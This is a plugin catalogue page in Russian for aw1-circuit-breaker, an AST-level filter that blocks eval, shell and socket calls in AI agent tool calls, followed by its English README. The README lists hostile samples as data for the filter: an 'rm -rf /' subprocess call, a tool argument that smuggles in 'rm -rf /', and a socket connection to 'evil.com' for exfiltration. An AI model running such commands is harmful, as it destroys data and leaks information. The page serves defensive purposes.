aw1-circuit-breaker — плагин для Claude Code: защита вызовов
Плагин aw1-circuit-breaker проверяет AST и аргументы вызовов инструментов до выполнения Python. Он пригодится, чтобы блокировать динамический запуск кода, shell-вызовы и сетевые подключения.
MIT ★ 1 596 обновлён 2026-10-29
/plugin marketplace add hashgraph-online/awesome-codex-plugins
/plugin install aw1-circuit-breaker@awesome-codex-pluginsЧто делает aw1-circuit-breaker
aw1-circuit-breaker проверяет вызовы на уровне AST до передачи кода в Python. Он может перехватывать динамическое выполнение через eval, запуск shell-команд через subprocess и сетевые подключения через socket. Это фильтр на уровне приложения, а не замена изоляции средствами операционной системы.
Для запуска MCP-сервера нужны Python и зависимости из requirements.txt; сервер запускается командой python mcp_server.py. В конфигурации MCP-клиента указываются команда python и аргумент mcp_server.py. Поскольку проверка происходит до выполнения Python-кода, этот плагин подходит для контроля вызовов инструментов на входе.
Какие задачи решает
- блокировать динамический запуск кода через
eval - перехватывать shell-вызовы через
subprocess - останавливать сетевые подключения через
socket - проверять аргументы вызова инструмента до выполнения Python-кода
Примеры запросов агенту
- Проверь вызов инструмента перед запуском и останови динамическое выполнение кода.
- Перехвати попытку запустить shell-команду через
subprocess. - Проверь AST этого вызова и заблокируй сетевое подключение через
socket.
Как установить aw1-circuit-breaker
Через маркетплейс плагинов
/plugin marketplace add hashgraph-online/awesome-codex-plugins/plugin install aw1-circuit-breaker@awesome-codex-pluginsПо шагам, с командами для каждой платформы: Плагины Claude Code: маркетплейсы, установка и как собрать свой
Вопросы об aw1-circuit-breaker
Как установить aw1-circuit-breaker в Claude Code?
Сначала добавьте маркетплейс командой /plugin marketplace add hashgraph-online/awesome-codex-plugins, затем установите плагин командой /plugin install aw1-circuit-breaker@awesome-codex-plugins.
Что делает aw1-circuit-breaker?
Плагин проверяет AST и аргументы вызовов инструментов до выполнения Python-кода. Он перехватывает динамическое выполнение, shell-вызовы и сетевые подключения.
Что нужно для запуска MCP-сервера?
Нужны Python и зависимости из requirements.txt. Сервер запускается командой python mcp_server.py.
Исходный текст
aw1-circuit-breaker · MIT
<!-- hol-install-block:v2 slug=mvikmanners/aw1-circuit-breaker -->
Install with [HOL Guard](https://hol.org/guard/docs/plugin-scanner/install-with-hol-guard), which checks the [HOL listing](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker) and asks before each runtime:
```sh
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply
```
Get HOL Guard with `pipx install hol-guard` or `uv tool install hol-guard`.
<details>
<summary>Install with each runtime's own CLI</summary>
| Runtime | Commands |
| --- | --- |
| Claude Code | `claude plugin marketplace add mvikmanners/aw1-circuit-breaker`<br>`claude plugin install aw1-circuit-breaker@aw1-circuit-breaker` |
| Codex | `codex plugin marketplace add mvikmanners/aw1-circuit-breaker`<br>`codex plugin add aw1-circuit-breaker@aw1-circuit-breaker` |
</details>
<!-- /hol-install-block -->
# AW-1 Circuit Breaker
[](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker)
[](https://pypi.org/project/aw1-circuit-breaker/)
[](https://opensource.org/licenses/MIT)
[]()
> Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
---
## ⚡ 10-Second Test Drive (Zero-Install)
Test the circuit breaker live in your terminal right now without installing anything:
```bash
uvx aw1-circuit-breaker --demo
```
Or verify an arbitrary snippet:
```bash
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
```
---
# AW-1 Circuit Breaker
[](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker)
Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.
## Installation
```bash
pip install -r requirements.txt
```
## Running the Server
Run directly with Python:
```bash
python mcp_server.py
```
Or via uvx:
```bash
uvx mcp_server.py
```
## MCP Client Configuration
```json
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "python",
"args": ["mcp_server.py"]
}
}
}
```
## Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| **Dynamic Execution** | `eval(compile(...))` | Evades semantic filters | **Tripped (`RESTRICTED_INVOCATION`)** |
| **Shell Escapes** | `subprocess.Popen(['bash', ...])` | Masked as system task | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
| **Lateral Exfiltration** | `socket.connect(('evil.com', 443))` | Disguised as HTTP fetch | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
### Run the Showcase
```bash
python examples/exploit_showcase.py
```
## Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
*Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.*
| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| **AST Inspection (Benign Payload)** | **0.0889 ms** | 0.1298 ms | 0.1645 ms | `< 0.2 ms` Overhead |
| **AST Inspection (Adversarial Exploit)** | **0.0520 ms** | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| **Shell Argument Injection Guard** | **0.0051 ms** | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |
Reproduce locally:
```bash
python benchmark.py
```
## Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
```python
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
```
## License
Licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). See [LICENSE](LICENSE) for details.
---
## 💳 Cloud Gateway & Commercial Licensing
While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted **AW-1 Sovereign Cloud Gateway** at `https://p20.laveto.net` for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.
| Tier | Price | Monthly Quota | Features | Checkout |
| :--- | :--- | :--- | :--- | :--- |
| **Developer Tier** | **$49 / mo** (P690 BWP) | 50,000 Verified Audits | Cloud Telemetry, HMAC API Keys, Slack/Webhook Alerts | [👉 Subscribe Now](https://p20.laveto.net/wisdom/buy) |
| **Enterprise / Sovereign** | Custom / SLA | Unlimited | Dedicated TEE Node, Statutory Defense Matrix, Custom Audits | [Contact Enterprise](mailto:[email protected]) |
*Self-hosted open-source circuit breaking remains 100% free under the Apache-2.0 license.*
© Laveto Wisdom · MIT · hashgraph-online/awesome-codex-plugins